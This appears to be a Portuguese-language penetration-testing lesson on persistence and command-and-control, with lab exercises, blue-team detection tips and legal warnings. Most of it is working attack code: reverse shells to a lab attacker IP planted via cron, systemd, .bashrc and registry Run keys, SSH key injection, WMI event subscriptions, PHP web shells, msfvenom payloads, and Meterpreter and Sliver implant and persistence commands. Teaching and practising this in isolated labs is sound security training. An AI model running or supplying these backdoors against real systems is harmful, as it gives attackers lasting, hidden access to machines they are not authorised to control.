Após comprometer um sistema, atacantes estabelecem mecanismos para manter acesso mesmo após reinicializações ou atualizações. 80% das técnicas no Red Report 2026 envolvem evasão de defesa, persistência e C2.
🎯 O que é?
Fase do Pentest
Manutenção do acesso (Maintaining Access) é a fase em que o atacante estabelece mecanismos de persistência para garantir acesso contínuo ao sistema comprometido. No modelo MITRE ATT&CK, esta fase corresponde à tática TA0003 (Persistence) e à tática TA0011 (Command and Control).
A persistência resolve o problema fundamental do atacante: conexões reversas caem, sistemas reiniciam, sessões expiram. Sem persistência, cada reconexão exige explorar a vulnerabilidade novamente.
Objetivos
Objetivo
Descrição
Persistência
Sobreviver a reinicializações e mudanças de senha
Redundância
Múltiplos pontos de acesso independentes
Discrição
Evitar detecção por EDR, SIEM, analista
Escalabilidade
Movimentação lateral para outros hosts
C2
Canal de comando e controle estável
Lei Aplicável
O art. 154-A do Código Penal (Lei 12.737/2012, “Lei Carolina Dieckmann”) tipifica invasão de dispositivo informático alheio. Qualquer técnica desta aula é crime se aplicada fora de ambiente autorizado. Em lab com suas próprias VMs: totalmente legal e educacional.
🗺️ Mapa Mental: Mecanismos de Persistência
mindmap
root((Persistência))
Linux
Cron job
/etc/crontab
crontab -e usuário
/etc/cron.d/
Systemd
Unit file .service
/etc/systemd/system/
systemctl enable
SSH Keys
~/.ssh/authorized_keys
/root/.ssh/
Shell Profile
~/.bashrc
~/.bash_profile
/etc/profile.d/
Init Scripts
/etc/rc.local
/etc/init.d/
Windows
Registry Run Keys
HKCU Run
HKLM Run
RunOnce
Scheduled Tasks
schtasks /create
Task Scheduler GUI
Services
sc create
New-Service PS
WMI Subscriptions
EventFilter
EventConsumer
COM Hijacking
HKCU InprocServer32
Startup Folder
%APPDATA% Startup
Web
Web Shell PHP
Web Shell ASPX
Upload em CMS
C2 Frameworks
Metasploit
Sliver
Cobalt Strike
🛠️ Técnicas de Persistência: MITRE ATT&CK TA0003
Referência MITRE
O MITRE ATT&CK tem 23 técnicas e 93 sub-técnicas em TA0003. As mais exploradas em 2025-2026 são listadas abaixo com comando de lab e detecção blue team.
Procmon filtrando RegSetValue em HKCU\CLSID; Autoruns aba COM
T1547.009
Shortcut Modification
LNK em %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\
Monitorar pasta Startup via FIM
🐧 Persistência no Linux: Passo a Passo
1. Cron Job Malicioso
O cron é o agendador de tarefas do Linux. Existem múltiplos locais onde tarefas são lidas:
# Verificar crons existentes (reconhecimento defensivo)crontab -lcat /etc/crontabls -la /etc/cron.d/ls -la /etc/cron.hourly/ /etc/cron.daily/# Adicionar backdoor que reconecta a cada minuto (como ATACANTE no lab)(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -i >& /dev/tcp/192.168.56.1/4444 0>&1") | crontab -# Alternativa: cron oculto no /etc/cron.d/echo "* * * * * root /tmp/.hidden_shell" > /etc/cron.d/.systemupdate# Verificar se foi inseridocrontab -l
Sintaxe do Cron
* * * * * significa “todo minuto”. Formato: minuto hora dia-do-mês mês dia-da-semana. Exemplos: @reboot executa uma vez na inicialização; 0 */4 * * * executa a cada 4 horas.
2. Systemd Service Backdoor
O systemd é o sistema de inicialização padrão em distribuições modernas (Ubuntu, Debian, CentOS, Kali). Criar um serviço garante persistência mesmo após reboot.
# Criar script de payloadcat > /tmp/rshell.sh << 'EOF'#!/bin/bashwhile true; do /bin/bash -i >& /dev/tcp/192.168.56.1/4444 0>&1 sleep 60doneEOFchmod +x /tmp/rshell.sh# Criar unit file do serviçocat > /etc/systemd/system/network-sync.service << 'EOF'[Unit]Description=Network Synchronization ServiceAfter=network.target[Service]Type=simpleExecStart=/tmp/rshell.shRestart=alwaysRestartSec=30[Install]WantedBy=multi-user.targetEOF# Habilitar e iniciar o serviçosystemctl daemon-reloadsystemctl enable network-sync.servicesystemctl start network-sync.service# Verificar statussystemctl status network-sync.service
A injeção de chave SSH é um dos mecanismos mais elegantes de persistência: bypassa autenticação por senha, sobrevive a mudanças de senha e é silenciosa (não gera processo filho suspeito).
# ATACANTE: gerar par de chaves na máquina do atacantessh-keygen -t ed25519 -f /tmp/lab_key -N ""cat /tmp/lab_key.pub# Saída: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA...# ATACANTE: injetar chave pública no alvo (após obter acesso inicial)mkdir -p ~/.sshchmod 700 ~/.sshecho "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA..." >> ~/.ssh/authorized_keyschmod 600 ~/.ssh/authorized_keys# Para root (se for root):mkdir -p /root/.sshecho "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAA..." >> /root/.ssh/authorized_keyschmod 600 /root/.ssh/authorized_keys# Reconectar usando a chave (na máquina atacante):ssh -i /tmp/lab_key usuario@192.168.56.100
4. .bashrc / Profile Hook
Persistência de baixo impacto que dispara quando o usuário abre um novo terminal ou faz login interativo:
# Adicionar payload no .bashrc do usuário alvoecho 'nohup /bin/bash -i >& /dev/tcp/192.168.56.1/4444 0>&1 &' >> ~/.bashrc# Forma mais discreta com verificação se já está rodandocat >> ~/.bashrc << 'EOF'if ! pgrep -f "rshell" > /dev/null; then nohup bash -c 'while true; do bash -i >& /dev/tcp/192.168.56.1/4444 0>&1; sleep 30; done' &>/dev/null &fiEOF
🪟 Persistência no Windows: Passo a Passo
1. Registry Run Keys
As chaves Run do Registro são executadas automaticamente no login do usuário (HKCU) ou na inicialização do sistema (HKLM).
# CMD: adicionar chave Run no usuário atual (sem privilégio admin)reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsHelper" /t REG_SZ /d "C:\Users\Public\update.exe" /f# Verificarreg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run"# PowerShell equivalenteSet-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" ` -Name "WindowsHelper" -Value "C:\Users\Public\update.exe"# HKLM (precisa de admin):reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "SysUpdate" /t REG_SZ /d "C:\Windows\Temp\svc.exe" /f
2. Scheduled Tasks (Tarefas Agendadas)
# Criar tarefa que roda no boot com privilégio SYSTEMschtasks /create /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\Temp\payload.exe" /sc onstart /ru SYSTEM /f# Criar tarefa que roda a cada minutoschtasks /create /tn "WindowsDefenderUpdate" /tr "C:\Windows\Temp\payload.exe" /sc minute /mo 1 /ru SYSTEM /f# Listar todas as tarefasschtasks /query /fo LIST /v | findstr "Task To Run"# Deletar após testeschtasks /delete /tn "MicrosoftEdgeUpdate" /f
WMI subscriptions são especialmente difíceis de detectar porque não aparecem em Autoruns com configuração padrão:
# Criar subscription que executa payload quando o usuário faz login$filterName = "BackdoorFilter"$consumerName = "BackdoorConsumer"$filterQuery = "SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_LogonSession'"$filter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" ` -Arguments @{Name=$filterName; EventNameSpace="root\cimv2"; QueryLanguage="WQL"; Query=$filterQuery}$consumer = Set-WmiInstance -Class CommandLineEventConsumer -NameSpace "root\subscription" ` -Arguments @{Name=$consumerName; CommandLineTemplate="C:\Windows\Temp\payload.exe"}$binding = Set-WmiInstance -Class __FilterToConsumerBinding -NameSpace "root\subscription" ` -Arguments @{Filter=$filter; Consumer=$consumer}# Detectar (Blue Team):Get-WMIObject -Namespace root/subscription -Class __EventFilter | Select-Object Name, QueryGet-WMIObject -Namespace root/subscription -Class __EventConsumer | Select-Object Name
🌐 Web Shells
Uma web shell é um script colocado num servidor web que permite execução remota de comandos via HTTP. É persistência via camada de aplicação, independente de cron ou registry.
Por que Web Shells são Perigosos
Passam pelo firewall (porta 80/443 aberta)
Não precisam de VPN ou port forward
Sobrevivem a reinicializações completas do sistema
Em 2025-2026, ataques via web shell cresceram com CVEs em CMSs populares (EncystPHP via CVE-2025-64328, INJ3CTOR3 crew)
Web Shell PHP
<?php// Shell minimalista (evitar em lab por simplicidade)system($_GET['cmd']);?>// Uso: http://alvo/uploads/shell.php?cmd=id// Shell com autenticação básica (mais realista)<?phpif(md5($_POST['pass']) == '1a1dc91c907325c69271ddf0c944bc72') { system($_POST['cmd']);}?>// Uso via curl:// curl -X POST http://alvo/shell.php -d "pass=p4ssw0rd&cmd=id"
# WordPress: via plugin/tema editor ou upload de plugin malicioso# Depois de obter credenciais admin:# Appearance > Theme File Editor > functions.php > adicionar <?php system($_GET['cmd']); ?># Joomla: via Extension Manager, upload de zip contendo shell# Drupal: via módulo malicioso# Testar se shell está ativa:curl "http://192.168.56.100/wp-content/themes/twentytwenty/shell.php?cmd=id"# Esperado: uid=33(www-data) gid=33(www-data)
Em Lab
Nunca hospedar web shells em servidores com acesso externo. Testar somente em VMs isoladas em rede NAT ou Host-Only.
🕹️ Meterpreter: Persistência Automatizada
O Metasploit tem módulos dedicados para instalar persistência após obter uma sessão Meterpreter.
Fluxo C2 com Meterpreter
sequenceDiagram
participant A as Atacante (Kali)
participant V as Vítima (VM)
participant H as Handler MSF
A->>V: Exploit inicial (ex: EternalBlue, phishing)
V-->>A: Conexão reversa Meterpreter
A->>V: run persistence -U -i 30 -p 4444 -r 192.168.56.1
Note over V: Cria chave Run no Registry HKCU
V-->>A: Sessão fechada (reboot simulado)
H->>H: exploit/multi/handler aguardando
V-->>H: Reconexão automática após reboot
H-->>A: Nova sessão Meterpreter aberta
Comandos Meterpreter
# Após obter sessão Meterpreter no Metasploit:msf6 > use exploit/multi/handlermsf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcpmsf6 exploit(multi/handler) > set LHOST 192.168.56.1msf6 exploit(multi/handler) > set LPORT 4444msf6 exploit(multi/handler) > exploit -j# Na sessão Meterpreter ativa:meterpreter > run persistence -U -i 30 -p 4444 -r 192.168.56.1# -U: persistência no login do usuário# -i 30: tenta reconectar a cada 30 segundos# -p: porta do listener# -r: IP do atacante# Alternativa: módulo post mais modernometerpreter > backgroundmsf6 > use post/windows/manage/persistence_exemsf6 post(windows/manage/persistence_exe) > set SESSION 1msf6 post(windows/manage/persistence_exe) > set STARTUP REGISTRYmsf6 post(windows/manage/persistence_exe) > run
Persistência no Linux via Meterpreter
meterpreter > run post/linux/manage/cron_persistence LHOST=192.168.56.1 LPORT=4444
🦅 Sliver C2: Framework Open Source Moderno (2025-2026)
O Sliver (BishopFox) é o framework C2 open source mais popular em operações red team modernas, substituto ao Cobalt Strike para labs educacionais. Escrito em Go, multiplataforma, com implants em memória.
Instalação do Sliver (Servidor)
# Instalar no Kali/Ubuntucurl https://sliver.sh/install | sudo bash# ou via release binário:wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-server_linux -O sliver-serverchmod +x sliver-serversudo ./sliver-server# Iniciar console interativosliver-server
Gerar Implant e Configurar Listener
# No console do Sliver:# Iniciar listener HTTPS persistentesliver > https --lhost 192.168.56.1 --lport 443 --persist# Gerar implant (beacon) para Windowssliver > generate --http 192.168.56.1 --os windows --arch amd64 --format exe --name update-helper# Arquivo gerado: update-helper.exe# Gerar implant para Linuxsliver > generate --http 192.168.56.1 --os linux --arch amd64 --format elf --name svc-update# Arquivo gerado: svc-update# Gerar shellcode (para injeção em processo legítimo)sliver > generate --http 192.168.56.1 --format shellcode --name beacon-sc
Persistência via Sliver
# Após vítima executar o implant e sessão aparecer no Sliver:sliver > sessions# [*] Active Sessions# ID Name Transport RemoteAddress Hostname User OS# 5b123e9d BOLD_SHARK http(s) 192.168.56.100:52341 WIN10LAB admin windows/amd64sliver > use 5b123e9d# Persistência via serviço Windows[BOLD_SHARK] sliver > persistence service --name "WinNetHelper" --path "C:\Windows\Temp\update-helper.exe"# Persistência via registry[BOLD_SHARK] sliver > persistence registry --hive HKCU \ --path "Software\Microsoft\Windows\CurrentVersion\Run" \ --key "WindowsUpdate" --value "C:\Windows\Temp\update-helper.exe"# Reconexão automática (perfil de beacon com intervalo longo e jitter)sliver > profiles new --http 192.168.56.1 --format exe --name long-haulsliver > profiles beacon-interval --profile long-haul --seconds 3600 --jitter 600# Beacon checkin a cada 1h com ±10min de jitter (simula tráfego legítimo)
Diagrama de Comunicação C2
graph LR
subgraph "Rede Interna (Lab)"
V1[VM Alvo Windows<br/>192.168.56.100]
V2[VM Alvo Linux<br/>192.168.56.101]
end
subgraph "Atacante (Kali)"
SL[Sliver C2 Server<br/>:443 HTTPS]
OP[Operador<br/>Console Sliver]
end
V1 -->|Beacon HTTPS<br/>cada 30s| SL
V2 -->|Beacon HTTPS<br/>cada 60s| SL
SL <-->|Comandos/Respostas| OP
style SL fill:#c0392b,color:#fff
style V1 fill:#2980b9,color:#fff
style V2 fill:#27ae60,color:#fff
style OP fill:#8e44ad,color:#fff
⚔️ Cobalt Strike: Conceitos para Red Team
O Cobalt Strike é a ferramenta comercial mais usada por APTs e red teams profissionais. Entender seus conceitos é essencial para defender contra ele.
Acesso em Lab
Cobalt Strike é pago (~US$5.900/ano). Em labs educacionais: usar Sliver (gratuito, código aberto) para praticar os mesmos conceitos. Cobalt Strike é estudado conceitualmente aqui.
Arquitetura Cobalt Strike
Componente
Função
Team Server
Servidor C2 central; opera na nuvem ou VPS
Cobalt Strike Client
Interface do operador (GUI Java)
Beacon
Implant leve instalado no alvo
Listener
Ponto de entrada de conexões (HTTP/S, DNS, SMB)
Malleable C2
Perfil que disfarça tráfego como jQuery, CDN, APIs legítimas
Técnicas Avançadas do Cobalt Strike
Técnica
Descrição
Defesa
Sleep/Jitter
Beacon fica dormindo por horas, acorda aleatoriamente
Baixar Sysinternals Autoruns, executar como Administrator, habilitar “Check VirusTotal.com” nas opções. Qualquer entrada sem assinatura digital ou com hash desconhecido no VirusTotal merece investigação.
Baseline: A Defesa Fundamental
A detecção de persistência depende de conhecer o estado normal do sistema. Sem baseline, é impossível distinguir o que foi adicionado.
# Criar baseline de serviços Linuxsystemctl list-unit-files --state=enabled > /root/baseline-services-$(date +%Y%m%d).txt# Criar baseline de cronsfor user in $(cut -d: -f1 /etc/passwd); do crontab -u $user -l 2>/dev/null >> /root/baseline-cron-$(date +%Y%m%d).txtdone# Criar baseline de SSH keysfind /home /root -name "authorized_keys" -exec cat {} \; > /root/baseline-sshkeys-$(date +%Y%m%d).txt# Comparar com baseline (após suspeita de comprometimento)diff /root/baseline-services-20260101.txt <(systemctl list-unit-files --state=enabled)
🧪 Atividades de Lab
🧪 Atividade 1: Persistência via Cron Job + Prova de Reconexão (Linux)
Objetivo: Criar persistência via cron numa VM Linux e provar que a sessão é restaurada após reboot.
Pré-requisitos: 2 VMs em rede Host-Only. Kali (192.168.56.1) e Ubuntu/Debian alvo (192.168.56.100). Acesso SSH ao alvo.
Passo a passo:
# --- KALI (atacante): abrir listener ---nc -lvnp 4444# Deixar aberto em terminal separado# --- ALVO (simular acesso inicial): ---ssh usuario@192.168.56.100# Injetar cron de persistência(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/192.168.56.1/4444 0>&1") | crontab -# Confirmar que foi adicionadocrontab -l# Reiniciar a VM alvosudo reboot
Aguardar 1-2 minutos após o reboot. Verificar no Kali:
# No Kali (onde nc -lvnp 4444 estava rodando):# Esperado: "connect to [192.168.56.1] from (UNKNOWN) [192.168.56.100]"# Seguido de shell: bash-5.1$# Prova de reconexão:id# uid=1000(usuario) gid=1000(usuario) groups=...hostname# ubuntu-alvo
Prova de sucesso: Receber shell no netcat APÓS o reboot sem nenhuma ação adicional.
Limpeza:
# Remover o cron malicioso (no alvo)crontab -l | grep -v "192.168.56.1" | crontab -crontab -l # deve estar vazio ou sem a linha
Tarefa adicional (Defesa): Usar auditd ou simplesmente crontab -l para identificar e remover a persistência. Documentar o tempo entre instalar e detectar.
🧪 Atividade 2: Persistência via SSH Authorized Key + Reconexão
Objetivo: Injetar chave SSH no alvo e provar que é possível reconectar mesmo após mudança de senha.
Passo a passo:
# --- KALI: gerar chave ed25519 para o ataque ---ssh-keygen -t ed25519 -f /tmp/lab_attack_key -N ""cat /tmp/lab_attack_key.pub# Copiar a saída: ssh-ed25519 AAAA...# --- ALVO: injetar chave (simula acesso inicial) ---ssh usuario@192.168.56.100mkdir -p ~/.ssh && chmod 700 ~/.sshecho "ssh-ed25519 AAAA..." >> ~/.ssh/authorized_keyschmod 600 ~/.ssh/authorized_keysexit# Simular defesa do admin: mudar a senha do usuáriossh usuario@192.168.56.100passwd # mudar para uma senha forte diferenteexit# --- KALI: tentar reconectar com SENHA (deve falhar se configurado bem) ---ssh usuario@192.168.56.100 # prompt de senha# --- KALI: reconectar com a CHAVE INJETADA (deve funcionar!) ---ssh -i /tmp/lab_attack_key usuario@192.168.56.100
Prova de sucesso: Conexão SSH funciona via chave mesmo após mudança de senha.
Detecção (Blue Team):
# No alvo: verificar authorized_keyscat ~/.ssh/authorized_keys# Identificar chave desconhecida (fingerprint diferente das suas)# Verificar fingerprint de cada chavessh-keygen -l -f ~/.ssh/authorized_keys# Remover a chave maliciosased -i '/AAAA.*/d' ~/.ssh/authorized_keys# ou editar manualmente e remover a linha suspeita
🧪 Atividade 3: Meterpreter run persistence + Identificação com Autoruns
Objetivo: Usar run persistence do Meterpreter num alvo Windows e identificar a entrada com Autoruns (Sysinternals).
Pré-requisitos: Kali com Metasploit; VM Windows 10 (com Defender desabilitado para o lab); Sysinternals Autoruns no Windows.
Passo a passo:
# --- KALI: Gerar payload e iniciar handler ---msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4444 -f exe -o /tmp/lab_payload.exe# Servir o arquivo via HTTPpython3 -m http.server 8080 &# Iniciar handlermsfconsole -qmsf6 > use exploit/multi/handlermsf6 > set payload windows/meterpreter/reverse_tcpmsf6 > set LHOST 192.168.56.1msf6 > set LPORT 4444msf6 > exploit -j
# --- Windows alvo: baixar e executar payload (simula vítima clicando em link) ---Invoke-WebRequest -Uri "http://192.168.56.1:8080/lab_payload.exe" -OutFile "C:\Users\Public\lab_payload.exe"Start-Process "C:\Users\Public\lab_payload.exe"
# --- KALI: após sessão abrir ---msf6 > sessions -lmsf6 > sessions -i 1# Instalar persistênciameterpreter > run persistence -U -i 30 -p 4444 -r 192.168.56.1# Metasploit mostrará a chave de Registry criada# Ex: [+] Persistent agent installed in HKCU\Software\Microsoft\Windows\CurrentVersion\Run\yWktnBXb# Simular rebootmeterpreter > reboot
Só utilize em ambientes autorizados (suas próprias VMs ou lab com permissão formal)
Em pentests profissionais, documentar todos os mecanismos instalados antes de começar
Remover todos os artefatos após o teste: chaves SSH, crons, serviços, payloads
Guardar registro de todas as ações (timestamps, comandos, screenshots) para o relatório
O art. 154-A do Código Penal tipifica invasão de dispositivo alheio: reclusão de 1 a 4 anos + multa. Agravado se for infraestrutura crítica ou dado pessoal (art. 154-A §3º)
Pentest sem contrato escrito de autorização = crime, mesmo que o cliente peça verbalmente
Responsabilidade do Pentester
Fase
Obrigação
Antes do teste
Assinar contrato com escopo, datas, IPs autorizados